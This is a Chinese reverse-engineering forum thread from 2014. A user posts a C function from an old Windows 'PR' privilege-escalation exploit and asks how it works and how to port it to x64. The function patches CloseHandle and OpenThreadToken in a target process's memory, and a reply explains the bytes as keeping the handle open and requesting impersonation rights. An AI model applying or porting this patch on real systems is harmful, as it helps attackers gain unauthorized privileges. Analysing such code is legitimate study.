首页
社区
课程
招聘
[讨论]以前的那个PR提权中的代码
发表于: 2014-9-15 07:51 4013

[讨论]以前的那个PR提权中的代码

2014-9-15 07:51
4013
原来的帖子是
http://bbs.pediy.com/showthread.php?t=119809&highlight=%E5%A4%A7%E6%9D%80+%E6%9D%80%E5%99%A8+%E5%99%A8

作者没对这段修改内存的代码做出分析,求高手详细分析下这段代码的作用,还有如果是X64下的话,需要怎么改呢?
void PatchProc(HANDLE hProc){

       DWORD dwOldProt;

       char Buff[]="\xc2\x04\x00";

       char Buff2[]="\x6a\x0c\x90";

       LPVOID lpAddress;

       VirtualProtectEx(hProc,CloseHandle,0x3,PAGE_EXECUTE_READWRITE,&dwOldProt);

       WriteProcessMemory(hProc,CloseHandle,Buff,0x3,NULL);

       VirtualProtectEx(hProc,CloseHandle,0x3,dwOldProt,&dwOldProt);

      

       lpAddress=(LPVOID)((DWORD)OpenThreadToken+0xb);

       VirtualProtectEx(hProc,lpAddress,0x3,PAGE_EXECUTE_READWRITE,&dwOldProt);

       WriteProcessMemory(hProc,lpAddress,Buff2,0x3,NULL);

       VirtualProtectEx(hProc,lpAddress,0x3,dwOldProt,&dwOldProt);

}

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 218
活跃值: (169)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
说实话我不知道这段代码,有什么难的,对于07年注册的楼主来说
我甚至连什么是PR提权都不知道,但是这段代码自己动动手就可以知道是什么意思了

打开OD随便调试个进程就可以知道那俩buff啥意思了...
Buff是   retn 4       不让CloseHandle关闭句柄
Buff2是 push 0xc  将OpenThreadToken的第二个参数改成C,查MSDN就是改成
TOKEN_IMPERSONATE|TOKEN_QUERY

其他那几个API无非就是将内存改成可写,然后Patch,然后再把内存属性改回去。

忽然想到难道楼主是借的号?
2014-9-15 13:37
0
雪    币: 220
活跃值: (726)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢LS兄弟的指点,
X64下的话,应该怎么改呢?
2014-9-16 11:45
0
游客
登录 | 注册 方可回帖
返回
//